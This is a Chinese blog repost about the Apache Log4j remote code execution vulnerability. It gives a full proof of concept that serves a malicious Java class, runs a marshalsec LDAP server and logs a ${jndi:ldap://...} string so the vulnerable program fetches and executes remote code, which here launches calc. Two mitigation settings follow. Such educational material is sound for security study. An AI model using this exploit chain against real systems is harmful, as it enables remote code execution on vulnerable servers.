Apache Log4j 远程代码执行漏洞和修补方案
Apache-Log4j
Apache Log4j 远程代码执行
攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响
参考:https://gitee.com/jby6666/apache-log4j-poc.git
步骤
- Compile Log4jRCE.java and start http server
python -m http.server 8888
- Start ldap server
-
git clone git@github.com:mbechler/marshalsec.git
-
cd marshalsec
-
mvn clean package -DskipTests
-
-
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
- 启动log4j.java,然后就会发现命令行出现了I am Log4jRCE from remote!!!。底层就是会远程下载Log4jRCE.class,然后执行newInstance(),所以会执行static、构造函数代码。
-
public class log4j {
-
-
private static final Logger logger = LogManager.getLogger(log4j.class);
-
-
public static void main(String[] args) {
-
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
-
}
-
}
-
public class Log4jRCE {
-
-
static {
-
System.out.println("I am Log4jRCE from remote!!!");
-
try {
-
String[] cmd = {"calc"};
-
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
-
} catch (Exception e) {
-
e.printStackTrace();
-
}
-
}
-
}
修复方案:
(1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true
注意:本文归作者所有,未经作者允许,不得转载
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhfkfhac
系列文章
更多
同类精品
更多
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13